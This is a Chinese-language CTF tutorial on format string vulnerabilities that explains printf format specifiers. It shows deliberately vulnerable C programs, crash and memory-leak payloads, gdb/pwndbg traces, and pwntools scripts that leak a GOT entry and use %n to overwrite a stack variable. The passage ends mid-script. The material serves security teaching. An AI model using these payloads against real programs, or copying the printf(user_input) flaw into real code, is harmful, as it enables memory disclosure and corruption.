PWN格式化字符串漏洞1(基础知识)

0x00 前言

主要参考《CTF权威指南(pwn篇)》和CTF-wiki
写了一些格式化字符串漏洞的基本原理,后续会补上几个实战的wp

0x01 格式化输出函数

变参函数
变参函数就是参数数量可变的函数。这种函数由固定数量的强制参数和数量可变的可选参数组成,强制性参数在前,可选参数在后。
格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转为人类可读的字符串格式。
常见的格式化字符串函数
输入:
scanf
输出:
fprintf() 输出到指定FILE流,三个参数分别是流、格式化字符串和变量列表
printf 输出到stdout

格式化字符串

%[parameter][flags][field width][.precision][length]type

格式字符串是由普通字符(包括"%")和转换规则构成的字符序列。普通字符被原封不动地赋值到输出流中。转换规则则根据与实参对应地转换指示符对其进行转换,然后将结果写入输出流中。
一个转换规则由必须部分和可选部分组成。其中,只有转换指示符(type)是必选部分,用来表示转换类型。
(1)parameter,用于指定某个参数,例如%2$d,表示输出后面的第2个参数。
(2)flags,用来调整输出和打印的符号、空白、小数点等。
(3)width,用来指定输出字符的最小个数。
(4)precision,用来指示打印符号个数、小数位数或者有效数字个数。
(5)length,用来指定参数的大小。
常见的转换指示符和长度

指示符    类型           输出
%d          4-byte        Integer
%d          4-byte        Unsigned Integer
%x          4-byte        Hex
%s          4-byte ptr   String
%c          1-byte        Character

长度      类型       输出
hh         1-byte    char
h           2-byte    short int
l            4-byte    long int
ll           8-byte    long long int

0x02 格式化字符串漏洞

#include
void main()
{
printf("%s %d %s","hello wordle",123,"\n");
}
gcc -m32 fmtdemo.c -o fmtdemo -g
pwndbg> disassemble main
Dump of assembler code for function main:
 ....
   0x0000052b <+14>:    push   ecx
   0x0000052c <+15>:    call   0x562 <__x86.get_pc_thunk.ax>
   0x00000531 <+20>:    add    eax,0x1aa7
   0x00000536 <+25>:    lea    edx,[eax-0x19e8]
   0x0000053c <+31>:    push   edx
   0x0000053d <+32>:    push   0x7b
   0x0000053f <+34>:    lea    edx,[eax-0x19e6]
   0x00000545 <+40>:    push   edx
   0x00000546 <+41>:    lea    edx,[eax-0x19d9]
   0x0000054c <+47>:    push   edx
   0x0000054d <+48>:    mov    ebx,eax
   0x0000054f <+50>:    call   0x3b0 
   0x00000554 <+55>:    add    esp,0x10
...
End of assembler dump.
pwndbg> stack 30
00:0000│ esp  0xffffd00c —▸ 0x56555554 (main+55) ◂— add    esp, 0x10
01:0004│      0xffffd010 —▸ 0x565555ff ◂— and    eax, 0x64252073 /* '%s %d %s' */
02:0008│      0xffffd014 —▸ 0x565555f2 ◂— push   0x6f6c6c65 /* 'hello wordle' */
03:000c│      0xffffd018 ◂— 0x7b /* '{' */
04:0010│      0xffffd01c —▸ 0x565555f0 ◂— or     al, byte ptr [eax] /* '\n' */
05:0014│      0xffffd020 —▸ 0xffffd040 ◂— 0x1

进入printf函数之前,程序将参数从右向左一次压栈。进入printf()之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是“%”,那么字符串被直接赋值到输出。否则,读取下一个非空字符,获取相应的参数并解析输出。
修改一下上边的程序,为格式字符串加上"%x %x %x %3$s",使其出现格式化字符串漏洞

#include
void main()
{
printf("%s %d %s %x %x %x %3$s","hello world",223,"\n");
}

► 0xf7e2c430        call   __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
        arg[0]: 0x56555554 (main+55) ◂— add    esp, 0x10
        arg[1]: 0x565555ff ◂— and    eax, 0x64252073 /* '%s %d %s %x %x %x %3s$s' */
        arg[2]: 0x565555f2 ◂— push   0x6f6c6c65 /* 'hello wordle' */
        arg[3]: 0x7b

00:0000│ esp  0xffffd00c —▸ 0x56555557 (main+58) ◂— add    esp, 0x10
01:0004│      0xffffd010 —▸ 0x565555fe ◂— and    eax, 0x64252073 /* '%s %d %s %x %x %x %3s$s' */
02:0008│      0xffffd014 —▸ 0x565555f2 ◂— push   0x6f6c6c65 /* 'hello world' */
03:000c│      0xffffd018 ◂— 0xdf
04:0010│      0xffffd01c —▸ 0x565555f0 ◂— or     al, byte ptr [eax] /* '\n' */
05:0014│      0xffffd020 —▸ 0xffffd040 ◂— 0x1
06:0018│      0xffffd024 ◂— 0x0
pwndbg> c
Continuing.
hello world 223 
 ffffd040 0 0 
[Inferior 1 (process 38286) exited with code 040]

打印出七个值,而参数只有三个,所以后面的三个"%x"打印的是0xffffd020到0xffffd026的数据,而最后一个参数"%3$s"则是对第三个参数"\n"的重用。

再看一个例子,省去格式字符串,转而由外部输入提供

#include
void main()
{
    char buf[50];
    if(fgets(buf,sizeof buf,stdin) == NULL)
        return;
    printf(buf);
}
00:0000│ esp          0xffffcfbc —▸ 0x5655561f (main+82) ◂— add    esp, 0x10
01:0004│              0xffffcfc0 —▸ 0xffffcfda ◂— '"Hello %x %x %x !\\n"\n'
02:0008│              0xffffcfc4 ◂— 0x32 /* '2' */
03:000c│              0xffffcfc8 —▸ 0xf7fb35c0 (_IO_2_1_stdin_) ◂— 0xfbad2288
04:0010│              0xffffcfcc —▸ 0x565555e4 (main+23) ◂— add    ebx, 0x19e8
05:0014│              0xffffcfd0 ◂— 9 /* '\t' */
06:0018│              0xffffcfd4 —▸ 0xffffd28f ◂— '/home/jason/CTF/ctf_wiki/string/fmtdemo1'
07:001c│ eax-2 ecx-2  0xffffcfd8 ◂— 0x4822b589

pwndbg> c
Continuing.
"Hello 32 f7fb35c0 565555e4 !\n"
[Inferior 1 (process 38390) exited normally]

在buf里输入一些转换指示符,那么printf()会把它当成格式字符串进行解析,漏洞由此发生,例如上面的输入''Hello %x %x %x !\n",程序就把栈数据泄露了出来。
格式化字符串漏洞发生的条件就是格式字符串要求的参数和实际提供的参数不匹配。

0x03 漏洞利用

对于格式化字符串漏洞的利用主要有:使程序崩溃、栈数据泄露、任意地址内存泄露、栈数据覆盖、任意地址内存覆盖。

使程序崩溃

通常,下面的格式化字符串即可崩溃。
原因:(1)对于每一个"%s",printf()都要从栈中获取一个数字,将其视为一个地址,然后打印出地址指向的内存,直到出现一个空字符。
(2)获取的某个数字可能并不是一个地址;
(3)获得的数字确实是一个地址,但该地址是受保护的。

printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")

泄露内存

泄露栈内存

一般会有如下几种操作
泄露栈内存
获取某个变量的值
获取某个变量对应地址的内存
泄露任意地址内存
利用GOT表得到libc函数地址,进而获取libc,进而获取其他libc函数地址
盲打,dump整个程序,获取有用信息。

#include 
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}
➜  leakmemory git:(master) ✗ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
leakmemory.c: In function ‘main’:
leakmemory.c:7:10: warning: format not a string literal and no format arguments [-Wformat-security]
   printf(s);
          ^

获取栈变量数值
首先,利用格式化字符串来获取栈上变量的数值。

 >./leakmemory
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x
ffcbd090.f7f77410.0804849d

第二个printf函数输出了一些内容
gdb调试一下

► 0xf7e2c430        call   __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
        arg[0]: 0x80484ea (main+100) ◂— add    esp, 0x20
        arg[1]: 0x8048593 ◂— and    eax, 0x2e783830 /* '%08x.%08x.%08x.%s\n' */
        arg[2]: 0x1
        arg[3]: 0x22222222 ('""""')
 
   0xf7e2c435      add    eax, 0x186bcb
   0xf7e2c43a     sub    esp, 0xc
   0xf7e2c43d     mov    eax, dword ptr [eax - 0x5c]
   0xf7e2c443     lea    edx, [esp + 0x14]
   0xf7e2c447     sub    esp, 4
   0xf7e2c44a     push   edx
   0xf7e2c44b     push   dword ptr [esp + 0x18]
   0xf7e2c44f     push   dword ptr [eax]
   0xf7e2c451     call   vfprintf 
 
   0xf7e2c456     add    esp, 0x1c
────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffcf7c —▸ 0x80484ea (main+100) ◂— add    esp, 0x20
01:0004│      0xffffcf80 —▸ 0x8048593 ◂— and    eax, 0x2e783830 /* '%08x.%08x.%08x.%s\n' */
02:0008│      0xffffcf84 ◂— 0x1
03:000c│      0xffffcf88 ◂— 0x22222222 ('""""')
04:0010│      0xffffcf8c ◂— 0xffffffff
05:0014│      0xffffcf90 —▸ 0xffffcfa0 ◂— '%08x.%08x.%08x'
... ↓
07:001c│      0xffffcf98 —▸ 0xf7fd0410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────
 ► f 0 f7e2c430 printf
   f 1  80484ea main+100
   f 2 f7df3f21 __libc_start_main+241

栈中的第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为a的地址,第四个变量为b的值,第五个变量为c的值,第六个变量为我们输入的格式化字符串对应的地址。

pwndbg> c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x

程序确实输出了每一个变量对应的数值,并且断在了下一个printf处。

► 0xf7e2c430        call   __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
        arg[0]: 0x80484f9 (main+115) ◂— add    esp, 0x10
        arg[1]: 0xffffcfa0 ◂— '%08x.%08x.%08x'
        arg[2]: 0xffffcfa0 ◂— '%08x.%08x.%08x'
        arg[3]: 0xf7fd0410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
 
   0xf7e2c435      add    eax, 0x186bcb
   0xf7e2c43a     sub    esp, 0xc
   0xf7e2c43d     mov    eax, dword ptr [eax - 0x5c]
   0xf7e2c443     lea    edx, [esp + 0x14]
   0xf7e2c447     sub    esp, 4
   0xf7e2c44a     push   edx
   0xf7e2c44b     push   dword ptr [esp + 0x18]
   0xf7e2c44f     push   dword ptr [eax]
   0xf7e2c451     call   vfprintf 
 
   0xf7e2c456     add    esp, 0x1c
────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffcf8c —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffffcf90 —▸ 0xffffcfa0 ◂— '%08x.%08x.%08x'
... ↓
03:000c│      0xffffcf98 —▸ 0xf7fd0410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcf9c —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffffcfa0 ◂— '%08x.%08x.%08x'
06:0018│      0xffffcfa4 ◂— '.%08x.%08x'
07:001c│      0xffffcfa8 ◂— 'x.%08x'
pwndbg> x/20wx $esp
0xffffcf8c: 0x080484f9  0xffffcfa0  0xffffcfa0  0xf7fd0410
0xffffcf9c: 0x0804849d  0x78383025  0x3830252e  0x30252e78
0xffffcfac: 0x00007838  0x00000000  0x00c30000  0x00000000
0xffffcfbc: 0xf7ffd000  0x00000000  0x00000000  0x00000000
0xffffcfcc: 0xcef79800  0x00000009  0xffffd28b  0xf7e0b589

此时,由于格式化字符串为%x%x%x,所以,程序会将栈上的0xffffcf94及其之后的数值分别作为第一,第二,第三个参数按照int型进行解析,分别输出。继续运行,可以得到如下结果

pwndbg> c
Continuing.
ffffcfa0.f7fd0410.0804849d[Inferior 1 (process 41601) exited normally]

同样地,也可以用%p代替%08x来获取数据。

有没有办法直接获取栈中被视为第n+1个参数的值呢?
有,方法如下:
%n$x
比如要获得printf的第4个参数所对应的值

► 0xf7e2c430        call   __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
        arg[0]: 0x80484f9 (main+115) ◂— add    esp, 0x10
        arg[1]: 0xffffcfa0 ◂— '%3$x'
        arg[2]: 0xffffcfa0 ◂— '%3$x'
        arg[3]: 0xf7fd0410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
 
   0xf7e2c435      add    eax, 0x186bcb
   0xf7e2c43a     sub    esp, 0xc
   0xf7e2c43d     mov    eax, dword ptr [eax - 0x5c]
   0xf7e2c443     lea    edx, [esp + 0x14]
   0xf7e2c447     sub    esp, 4
   0xf7e2c44a     push   edx
   0xf7e2c44b     push   dword ptr [esp + 0x18]
   0xf7e2c44f     push   dword ptr [eax]
   0xf7e2c451     call   vfprintf 
 
   0xf7e2c456     add    esp, 0x1c
────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffcf8c —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffffcf90 —▸ 0xffffcfa0 ◂— '%3$x'
... ↓
03:000c│      0xffffcf98 —▸ 0xf7fd0410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcf9c —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffffcfa0 ◂— '%3$x'
06:0018│      0xffffcfa4 ◂— 0x0
07:001c│      0xffffcfa8 —▸ 0xf7ffd940 ◂— 0x0
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────
 ► f 0 f7e2c430 printf
   f 1  80484f9 main+115
   f 2 f7df3f21 __libc_start_main+241
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/20wx $esp
0xffffcf8c: 0x080484f9  0xffffcfa0  0xffffcfa0  0xf7fd0410
0xffffcf9c: 0x0804849d  0x78243325  0x00000000  0xf7ffd940
0xffffcfac: 0x000000c2  0x00000000  0x00c30000  0x00000000
0xffffcfbc: 0xf7ffd000  0x00000000  0x00000000  0x00000000
0xffffcfcc: 0x6699d200  0x00000009  0xffffd28b  0xf7e0b589
pwndbg> c
Continuing.
804849d[Inferior 1 (process 41830) exited normally]

的确获得了printf的第4个参数所对应的值804849d

获取栈变量对应字符串
获得栈变量对应的字符串,这其实就是需要用到%s了。

► 0xf7e2c430        call   __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
        arg[0]: 0x80484f9 (main+115) ◂— add    esp, 0x10
        arg[1]: 0xffffcfa0 ◂— 0x7325 /* '%s' */
        arg[2]: 0xffffcfa0 ◂— 0x7325 /* '%s' */
        arg[3]: 0xf7fd0410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
 
   0xf7e2c435      add    eax, 0x186bcb
   0xf7e2c43a     sub    esp, 0xc
   0xf7e2c43d     mov    eax, dword ptr [eax - 0x5c]
   0xf7e2c443     lea    edx, [esp + 0x14]
   0xf7e2c447     sub    esp, 4
   0xf7e2c44a     push   edx
   0xf7e2c44b     push   dword ptr [esp + 0x18]
   0xf7e2c44f     push   dword ptr [eax]
   0xf7e2c451     call   vfprintf 
 
   0xf7e2c456     add    esp, 0x1c
────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffcf8c —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffffcf90 —▸ 0xffffcfa0 ◂— 0x7325 /* '%s' */
... ↓
03:000c│      0xffffcf98 —▸ 0xf7fd0410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcf9c —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffffcfa0 ◂— 0x7325 /* '%s' */
06:0018│      0xffffcfa4 ◂— 0x1
07:001c│      0xffffcfa8 —▸ 0xf7ffd940 ◂— 0x0
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────
 ► f 0 f7e2c430 printf
   f 1  80484f9 main+115
   f 2 f7df3f21 __libc_start_main+241
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> c
Continuing.
%s[Inferior 1 (process 41904) exited normally]

第二次执行printf时,将0xffffcfa0处的变量视为字符串变量,输出了其数值所对应的地址处的字符串。
当然,如果对应的变量不是字符串的地址,那么,程序就会直接崩溃

:~/CTF/ctf_wiki/string$ ./leakmemory
%4$s
00000001.22222222.ffffffff.%4$s
段错误

小技巧总结

a.利用%x来获取对应栈的内存,但建议使用%p,可以不用考虑位数的区别。
b.利用%s来获取变量所对应的内容,只不过有零阶段。
c.利用%orders来获取指定参数对应地址的内容。

泄露任意地址内存

泄露某一个libc函数的got表内容,从而得到其地址,进而获取libc版本以及其他函数的地址,这时候,能够完全控制泄露某个指定地址的内存就显得很重要了。
一般来说,在格式化字符串漏洞中,我们所读取的格式化字符串都是在栈上的(因为是某个函数的局部变量,本例中 s 是 main 函数的局部变量)。那么也就是说,在调用输出函数的时候,其实,第一个参数的值其实就是该格式化字符串的地址。我们选择上面的某个函数调用为例。

00:0000│ esp  0xffffcf8c —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffffcf90 —▸ 0xffffcfa0 ◂— 0x7325 /* '%s' */
... ↓
03:000c│      0xffffcf98 —▸ 0xf7fd0410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcf9c —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffffcfa0 ◂— 0x7325 /* '%s' */
06:0018│      0xffffcfa4 ◂— 0x1
07:001c│      0xffffcfa8 —▸ 0xf7ffd940 ◂— 0x0

栈上的第二个变量就是格式化字符串地址0xffffcfa0,同时该地址存储的也确实是"%s"格式化字符串内容。
由于我们可以控制该格式化字符串,如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第k个参数。那我们就可以通过如下的方式来获取某个指定地址addr的内容.
addr%k$s
下面就是如何确定该格式化字符串为第几个参数的问题了,我们可以通过如下方式确定

[tag]%p%p%p%p%p...

如下:

./leakmemory
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
00000001.22222222.ffffffff.AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0xffa5c6c0.0xf7f82410.0x804849d.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025

由0x41414141处所在的位置可以看出我们的格式化字符串的其实地址正好是输出函数的第5个参数,但是是格式化字符串第4个参数。可以测试一下

./leakmemory
%4$s
00000001.22222222.ffffffff.%4$s
段错误

崩溃了?因为我们试图将该格式化字符串所对应的值作为地址进行解析,但是显然该值没有办法作为一个合法的地址被解析,所以程序就崩溃了。参考如下调试:

 → 0xf7e44670        call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
───────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcd0c', 'l8']
8
0xffffcd0c│+0x00: 0x080484ce  →   add esp, 0x10     ← $esp
0xffffcd10│+0x04: 0xffffcd20  →  "%4$s"
0xffffcd14│+0x08: 0xffffcd20  →  "%4$s"
0xffffcd18│+0x0c: 0x000000c2
0xffffcd1c│+0x10: 0xf7e8b6bb  →   add esp, 0x10
0xffffcd20│+0x14: "%4$s"     ← $eax
0xffffcd24│+0x18: 0xffffce00  →  0x00000000
0xffffcd28│+0x1c: 0x000000e0
───────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7e44670 → Name: __printf(format=0xffffcd20 "%4$s")
[#1] 0x80484ce → Name: main()
────────────────────────────────────────────────────────────────────────────────
gef➤  help x/
Examine memory: x/FMT ADDRESS.
ADDRESS is an expression for the memory address to examine.
FMT is a repeat count followed by a format letter and a size letter.
Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),
  t(binary), f(float), a(address), i(instruction), c(char), s(string)
  and z(hex, zero padded on the left).
Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).
The specified number of objects of the specified size are printed
according to the format.

Defaults for format and size letters are those previously used.
Default count is 1.  Default address is following last thing printed
with this command or "print".
gef➤  x/x 0xffffcd20
0xffffcd20: 0x73243425
gef➤  vmmap
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x08049000 0x0804a000 0x00000000 r-- /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x0804a000 0x0804b000 0x00001000 rw- /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x0804b000 0x0806c000 0x00000000 rw- [heap]
0xf7dfb000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fad000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so
0xf7fad000 0xf7fae000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7fb1000 0x00000000 rw-
0xf7fd3000 0xf7fd5000 0x00000000 rw-
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rw-
0xf7ffc000 0xf7ffd000 0x00022000 r-- /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rw- /lib/i386-linux-gnu/ld-2.23.so
0xffedd000 0xffffe000 0x00000000 rw- [stack]
gef➤  x/x 0x73243425
0x73243425: Cannot access memory at address 0x73243425

如果我们设置一个可访问的地址呢?比如scanf@got,结果自然是输出scanf对应的地址了。
首先,获取scanf@got的地址,如下:

got

GOT protection: Partial RELRO | GOT functions: 3
 
[0x804a00c] printf@GLIBC_2.0 -> 0x8048336 (printf@plt+6) ◂— push   0 /* 'h' */
[0x804a010] __libc_start_main@GLIBC_2.0 -> 0xf7df3e30 (__libc_start_main) ◂— call   0xf7f122c9
[0x804a014] __isoc99_scanf@GLIBC_2.7 -> 0x8048356 (__isoc99_scanf@plt+6) ◂— push   0x10

利用pwntools 构造tools如下:

from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()
► 0xf7d3c430        call   __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
        arg[0]: 0x80484f9 (main+115) ◂— add    esp, 0x10
        arg[1]: 0xffd7f120 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7d4ed10 (__isoc99_scanf) ◂— push   ebp
        arg[2]: 0xffd7f120 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7d4ed10 (__isoc99_scanf) ◂— push   ebp
        arg[3]: 0xf7ee0410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
 
   0xf7d3c435      add    eax, 0x186bcb
   0xf7d3c43a     sub    esp, 0xc
   0xf7d3c43d     mov    eax, dword ptr [eax - 0x5c]
   0xf7d3c443     lea    edx, [esp + 0x14]
   0xf7d3c447     sub    esp, 4
   0xf7d3c44a     push   edx
   0xf7d3c44b     push   dword ptr [esp + 0x18]
   0xf7d3c44f     push   dword ptr [eax]
   0xf7d3c451     call   vfprintf 
 
   0xf7d3c456     add    esp, 0x1c
───────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ esp  0xffd7f10c —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffd7f110 —▸ 0xffd7f120 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7d4ed10 (__isoc99_scanf) ◂— push   ebp
... ↓
03:000c│      0xffd7f118 —▸ 0xf7ee0410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffd7f11c —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffd7f120 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7d4ed10 (__isoc99_scanf) ◂— push   ebp
06:0018│      0xffd7f124 ◂— '%4$s'
07:001c│      0xffd7f128 —▸ 0xf7f0d900 (catch_hook) ◂— 0x0

此时,在我们运行的terminal下:

python2 exp.py
[+] Starting local process './leakmemory': pid 42723
[*] '/home/jason/CTF/ctf_wiki/string/leakmemory'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
0x804a014
\x14\x04%4$s
[*] running in new terminal: /usr/bin/gdb -q  "./leakmemory" 42723
[-] Waiting for debugger: debugger exited! (maybe check /proc/sys/kernel/yama/ptrace_scope)
0xf7d4ed10
[*] Switching to interactive mode
[*] Process './leakmemory' stopped with exit code 0 (pid 42723)
[*] Got EOF while reading in interactive

确实得到了scanf的地址。
但是,并不是说所有的偏移机器字长的整数倍,可以让我们直接相应参数来获取,有时候,我们需要对我们输入的格式化字符串进行填充,来使得我们相应打印的地址内容的地址位于机器字长整数倍的地址处。

覆盖内存

有没有可能修改栈上变量的值呢,甚至修改任意地址变量的内存呢?答案是可行的,只要变量对应的地址可写,就可以利用格式化字符串来修改其对应的数值。

%n ,不输出字符,到那时把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

通过这个类型参数,再加上一些小技巧,即可达到目的。
这里仍然分为两部分,一部分为覆盖栈上的变量,第二部分为覆盖指定地址的变量。

/* example/overflow/overflow.c */
#include 
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

makefile在对应的文件夹中。而无论是覆盖哪个地址的变量,基本上都是构造类似如下的payload

...[overwrite addr]...%[overwrite offset]$n

其中...表示我们的填充内容,overwrite addr表示我们所要覆盖的地址,overwrite offset地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说,也是如下步骤
(1)确定覆盖地址 (2)确定相对偏移 (3)进行覆盖

覆盖栈内存

确定覆盖地址
首先,需要确定变量c的地址,这里故意输出了c变量的地址。
确定相对偏移
其次,确定存储格式化字符串的printf将要输出的第几个参数()。通过之前绣楼栈变量数值的方法来进行操作。通过调试

► 0xf7e2c430        call   __x86.get_pc_thunk.ax <__x86.get_pc_thunk.ax>
        arg[0]: 0x80484dd (main+55) ◂— add    esp, 0x10
        arg[1]: 0x80485f0 ◂— and    eax, 0x25000a70 /* '%p\n' */
        arg[2]: 0xffffd04c ◂— 0x315
        arg[3]: 0xf7fd0410 —▸ 0x804828d ◂— inc    edi /* 'GLIBC_2.0' */
 
   0xf7e2c435      add    eax, 0x186bcb
   0xf7e2c43a     sub    esp, 0xc
   0xf7e2c43d     mov    eax, dword ptr [eax - 0x5c]
   0xf7e2c443     lea    edx, [esp + 0x14]
   0xf7e2c447     sub    esp, 4
   0xf7e2c44a     push   edx
   0xf7e2c44b     push   dword ptr [esp + 0x18]
   0xf7e2c44f     push   dword ptr [eax]
   0xf7e2c451     call   vfprintf 
 
   0xf7e2c456     add    esp, 0x1c
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp  0xffffcfcc —▸ 0x80484dd (main+55) ◂— add    esp, 0x10
01:0004│      0xffffcfd0 —▸ 0x80485f0 ◂— and    eax, 0x25000a70 /* '%p\n' */
02:0008│      0xffffcfd4 —▸ 0xffffd04c ◂— 0x315
03:000c│      0xffffcfd8 —▸ 0xf7fd0410 —▸ 0x804828d ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcfdc —▸ 0x80484bd (main+23) ◂— add    ebx, 0x1b43
05:0014│      0xffffcfe0 ◂— 0x0
06:0018│      0xffffcfe4 ◂— 0x1
07:001c│      0xffffcfe8 —▸ 0xf7ffd940 ◂— 0x0

在0xffffd04c处存储着变量c的数值。
继而,确定格式化字符串'%d%d'的地址0xffffcfe8相对于printf函数的格式化字符串参数0xffffcfd0的偏移为0x18。

pwndbg> stack 30
00:0000│ esp  0xffffcfcc —▸ 0x8048502 (main+92) ◂— add    esp, 0x10
01:0004│      0xffffcfd0 —▸ 0xffffcfe8 ◂— '%d%d'
... ↓
03:000c│      0xffffcfd8 —▸ 0xf7fd0410 —▸ 0x804828d ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcfdc —▸ 0x80484bd (main+23) ◂— add    ebx, 0x1b43
05:0014│      0xffffcfe0 ◂— 0x0
06:0018│      0xffffcfe4 ◂— 0x1
07:001c│ eax  0xffffcfe8 ◂— '%d%d'
08:0020│      0xffffcfec ◂— 0x0

即格式化字符串相当于printf函数的第7个参数,相当于格式化字符串的第六个参数。
进行覆盖
这样,第6个参数处的值就是存储变量c的地址,我们便可以利用%n的特征来修改c的值。payload如下

[addr of c]%012d%6$n

addr of c的长度为4,故而我们得再输入12个字符才可以达到16个字符,以便于修改c的值为16.
脚本如下:

def forc():
    sh = process('./overwrite')
    c_addr = int(sh.recvuntil('\n', drop=True), 16)
    print hex(c_addr)
    payload = p32(c_addr) + '%012d' + '%6$n'
    print payload
    #gdb.attach(sh)
